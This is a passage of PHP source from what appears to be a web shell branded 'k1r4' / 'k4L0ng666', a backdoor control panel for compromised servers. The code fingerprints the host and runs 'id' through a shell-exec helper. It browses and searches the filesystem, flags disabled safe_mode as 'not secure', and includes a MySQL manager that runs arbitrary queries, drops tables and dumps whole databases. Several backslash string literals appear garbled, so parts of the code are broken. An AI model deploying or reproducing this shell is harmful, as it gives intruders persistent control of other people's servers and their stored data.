 698   echo "<table border=0><tr><td><form name=\"k1r4_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
 699   if ($tbl_struct)
 700   {
 701    echo "<td valign=\"top\"><b>Fields:</b><br>";
 702    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo " <a href=\"#\" onclick=\"document.k1r4_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
 703    echo "</td></tr></table>";
 704   }
 705  }
 706  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
 707 }
 708 }
 709 if (!function_exists("mysql_create_db"))
 710 {
 711 function mysql_create_db($db,$sock="")
 712 {
 713  $sql = "CREATE DATABASE `".addslashes($db)."`;";
 714  if ($sock) {return mysql_query($sql,$sock);}
 715  else {return mysql_query($sql);}
 716 }
 717 }
 718 if (!function_exists("mysql_query_parse"))
 719 {
 720 function mysql_query_parse($query)
 721 {
 722  $query = trim($query);
 723  $arr = explode (" ",$query);
 724  /*array array()
 725  {
 726   "METHOD"=>array(output_type),
 727   "METHOD1"...
 728   ...
 729  }
 730  if output_type == 0, no output,
 731  if output_type == 1, no output if no error
 732  if output_type == 2, output without control-buttons
 733  if output_type == 3, output with control-buttons
 734  */
 735  $types = array(
 736   "SELECT"=>array(3,1),
 737   "SHOW"=>array(2,1),
 738   "DELETE"=>array(1),
 739   "DROP"=>array(1)
 740  );
 741  $result = array();
 742  $op = strtoupper($arr[0]);
 743  if (is_array($types[$op]))
 744  {
 745   $result["propertions"] = $types[$op];
 746   $result["query"]  = $query;
 747   if ($types[$op] == 2)
 748   {
 749    foreach($arr as $k=>$v)
 750    {
 751     if (strtoupper($v) == "LIMIT")
 752     {
 753      $result["limit"] = $arr[$k+1];
 754      $result["limit"] = explode(",",$result["limit"]);
 755      if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
 756      unset($arr[$k],$arr[$k+1]);
 757     }
 758    }
 759   }
 760  }
 761  else {return FALSE;}
 762 }
 763 }
 764 if (!function_exists("k1r4fsearch"))
 765 {
 766 function k1r4fsearch($d)
 767 {
 768  global $found;
 769  global $found_d;
 770  global $found_f;
 771  global $search_i_f;
 772  global $search_i_d;
 773  global $a;
 774  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 775  $h = opendir($d);
 776  while (($f = readdir($h)) !== FALSE)
 777  {
 778   if($f != "." && $f != "..")
 779   {
 780    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
 781    if (is_dir($d.$f))
 782    {
 783     $search_i_d++;
 784     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
 785     if (!is_link($d.$f)) {k1r4fsearch($d.$f);}
 786    }
 787    else
 788    {
 789     $search_i_f++;
 790     if ($bool)
 791     {
 792      if (!empty($a["text"]))
 793      {
 794       $r = @file_get_contents($d.$f);
 795       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
 796       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
 797       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
 798       else {$bool = strpos(" ".$r,$a["text"],1);}
 799       if ($a["text_not"]) {$bool = !$bool;}
 800       if ($bool) {$found[] = $d.$f; $found_f++;}
 801      }
 802      else {$found[] = $d.$f; $found_f++;}
 803     }
 804    }
 805   }
 806  }
 807  closedir($h);
 808 }
 809 }
 810 if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
 811 //Sending headers
 812 @ob_start();
 813 @ob_implicit_flush(0);
 814 function onphpshutdown()
 815 {
 816  global $gzipencode,$ft;
 817  if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
 818  {
 819   $v = @ob_get_contents();
 820   @ob_end_clean();
 821   @ob_start("ob_gzHandler");
 822   echo $v;
 823   @ob_end_flush();
 824  }
 825 }
 826 function k1r4exit()
 827 {
 828  onphpshutdown();
 829  exit;
 830 }
 831 header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
 832 header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
 833 header("Cache-Control: no-store, no-cache, must-revalidate");
 834 header("Cache-Control: post-check=0, pre-check=0", FALSE);
 835 header("Pragma: no-cache");
 836 if (empty($tmpdir))
 837 {
 838  $tmpdir = ini_get("upload_tmp_dir");
 839  if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
 840 }
 841 $tmpdir = realpath($tmpdir);
 842 $tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir);
 843 if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
 844 if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
 845 else {$tmpdir_logs = realpath($tmpdir_logs);}
 846 if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
 847 {
 848  $safemode = TRUE;
 849  $hsafemode = "<font color=red>ON (secure)</font>";
 850 }
 851 else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (no secure)</font>";}
 852 $v = @ini_get("open_basedir");
 853 if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
 854 else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
 855 $sort = htmlspecialchars($sort);
 856 if (empty($sort)) {$sort = $sort_default;}
 857 $sort[1] = strtolower($sort[1]);
 858 $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
 859 if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
 860 $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
 861 @ini_set("highlight.bg",$highlight_bg); //FFFFFF
 862 @ini_set("highlight.comment",$highlight_comment); //#FF8000
 863 @ini_set("highlight.default",$highlight_default); //#0000BB
 864 @ini_set("highlight.html",$highlight_html); //#000000
 865 @ini_set("highlight.keyword",$highlight_keyword); //#007700
 866 @ini_set("highlight.string",$highlight_string); //#DD0000
 867 if (!is_array($actbox)) {$actbox = array();}
 868 $dspact = $act = htmlspecialchars($act);
 869 $disp_fullpath = $ls_arr = $notls = null;
 870 $ud = urlencode($d);
 871 ?>
 872 <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> -::[ k4L0ng666 HeRe ]::-</title><STYLE>
 873 TD { FONT-SIZE: 8pt; COLOR: #009900; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #0099CC; FONT-FAMILY: Tahoma; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #000000;}body,td,th { font-family: verdana; color: #CCCCCC; font-size: 11px;}body { background-color: #000000;}
 874 </style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b> <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
 875 $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
 876 if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
 877 $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
 878 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 879 $d = str_replace("\","\",$d);
 880 $dispd = htmlspecialchars($d);
 881 $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
 882 $i = 0;
 883 foreach($pd as $b)
 884 {
 885  $t = "";
 886  $j = 0;
 887  foreach ($e as $r)
 888  {
 889   $t.= $r.DIRECTORY_SEPARATOR;
 890   if ($j == $i) {break;}
 891   $j++;
 892  }
 893  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
 894  $i++;
 895 }
 896 echo "&nbsp;&nbsp;&nbsp;";
 897 if (is_writable($d))
 898 {
 899  $wd = TRUE;
 900  $wdt = "<font color=green>[ ok ]</font>";
 901  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
 902 }
 903 else
 904 {
 905  $wd = FALSE;
 906  $wdt = "<font color=red>[ Read-Only ]</font>";
 907  echo "<b>".view_perms_color($d)."</b>";
 908 }
 909 if (is_callable("disk_free_space"))
 910 {
 911  $free = disk_free_space($d);
 912  $total = disk_total_space($d);
 913  if ($free === FALSE) {$free = 0;}
 914  if ($total === FALSE) {$total = 0;}
 915  if ($free < 0) {$free = 0;}
 916  if ($total < 0) {$total = 0;}
 917  $used = $total-$free;
 918  $free_percent = round(100/($total/$free),2);
 919  echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
 920 }
 921 echo "<br>";
 922 $letters = "";
 923 if ($win)
 924 {
 925  $v = explode("\",$d);
 926  $v = $v[0];
 927  foreach (range("a","z") as $letter)
 928  {
 929   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
 930   if (!$bool) {$bool = is_dir($letter.":\");}
 931   if ($bool)
 932   {
 933    $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
 934    if ($letter.":" != $v) {$letters .= $letter;}
 935    else {$letters .= "<font color=green>".$letter."</font>";}
 936    $letters .= " ]</a> ";
 937   }
 938  }
 939  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
 940 }
 941 if (count($quicklaunch) > 0)
 942 {
 943  foreach($quicklaunch as $item)
 944  {
 945   $item[1] = str_replace("%d",urlencode($d),$item[1]);
 946   $item[1] = str_replace("%sort",$sort,$item[1]);
 947   $v = realpath($d."..");
 948   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
 949   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
 950   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
 951  }
 952 }
 953 echo "</p></td></tr></table><br>";
 954 if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
 955 echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
 956 if ($act == "") {$act = $dspact = "ls";}
 957 if ($act == "sql")
 958 {
 959  $sql_surl = $surl."act=sql";
 960  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
 961  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
 962  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
 963  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
 964  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
 965  $sql_surl .= "&";
 966  ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
 967  if ($sql_server)
 968  {
 969   $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
 970   $err = mysql_smarterror();
 971   @mysql_select_db($sql_db,$sql_sock);
 972   if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
 973  }
 974  else {$sql_sock = FALSE;}
 975  echo "<b>SQL Manager:</b><br>";
 976  if (!$sql_sock)
 977  {
 978   if (!$sql_server) {echo "NO CONNECTION";}
 979   else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
 980  }
 981  else
 982  {
 983   $sqlquicklaunch = array();
 984   $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
 985   $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
 986   $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
 987   $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
 988   $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
 989   $sqlquicklaunch[] = array("Logout",$surl."act=sql");
 990   echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
 991   if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
 992   echo "</center>";
 993  }
 994  echo "</td></tr><tr>";
 995  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
 996  else
 997  {
 998   //Start left panel
 999   if (!empty($sql_db))
1000   {
1001    ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
1002    $result = mysql_list_tables($sql_db);
1003    if (!$result) {echo mysql_smarterror();}
1004    else
1005    {
1006     echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
1007     $c = 0;
1008     while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
1009     if (!$c) {echo "No tables found in database.";}
1010    }
1011   }
1012   else
1013   {
1014    ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
1015    $result = mysql_list_dbs($sql_sock);
1016    if (!$result) {echo mysql_smarterror();}
1017    else
1018    {
1019     ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
1020     $c = 0;
1021     $dbs = "";
1022     while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
1023     echo "<option value=\"\">Databases (".$c.")</option>";
1024     echo $dbs;
1025    }
1026    ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
1027   }
1028   //End left panel
1029   echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
1030   //Start center panel
1031   $diplay = TRUE;
1032   if ($sql_db)
1033   {
1034    if (!is_numeric($c)) {$c = 0;}
1035    if ($c == 0) {$c = "no";}
1036    echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
1037    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
1038    echo "</b></center>";
1039    $acts = array("","dump");
1040    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "
1041 `".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
1042    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` 
1043 ";} $sql_act = "query";}
1044    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
1045    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "
1046 `".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
1047    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
1048 `".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
1049    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "
1050 `".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
1051    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
1052 `".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
1053    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
1054 ";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
1055    elseif ($sql_tbl_act == "insert")
1056    {
1057     if ($sql_tbl_insert_radio == 1)
1058     {
1059      $keys = "";
1060      $akeys = array_keys($sql_tbl_insert);
1061      foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
1062      if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
1063      $values = "";
1064      $i = 0;
1065      foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
1066      if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
1067      $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
1068      $sql_act = "query";
1069      $sql_tbl_act = "browse";
1070     }
1071     elseif ($sql_tbl_insert_radio == 2)
1072     {
1073      $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
1074      $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
1075      $result = mysql_query($sql_query) or print(mysql_smarterror());
1076      $result = mysql_fetch_array($result, MYSQL_ASSOC);
1077      $sql_act = "query";
1078      $sql_tbl_act = "browse";
1079     }
1080    }
1081    if ($sql_act == "query")
1082    {
1083     echo "<hr size=\"1\" noshade>";
1084     if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
1085     if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
1086     if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
1087    }
1088    if (in_array($sql_act,$acts))
1089    {
1090     ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
1091     if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
1092     if ($sql_act == "newtbl")
1093     {
1094      echo "<b>";
1095      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
1096     }
1097     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
1098    }
1099    elseif ($sql_act == "dump")
1100    {
1101     if (empty($submit))
1102     {
1103      $diplay = FALSE;
1104      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
1105      echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
1106      $v = join (";",$dmptbls);
1107      echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
1108      if ($dump_file) {$tmp = $dump_file;}
1109      else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
1110      echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
1111      echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
1112      echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
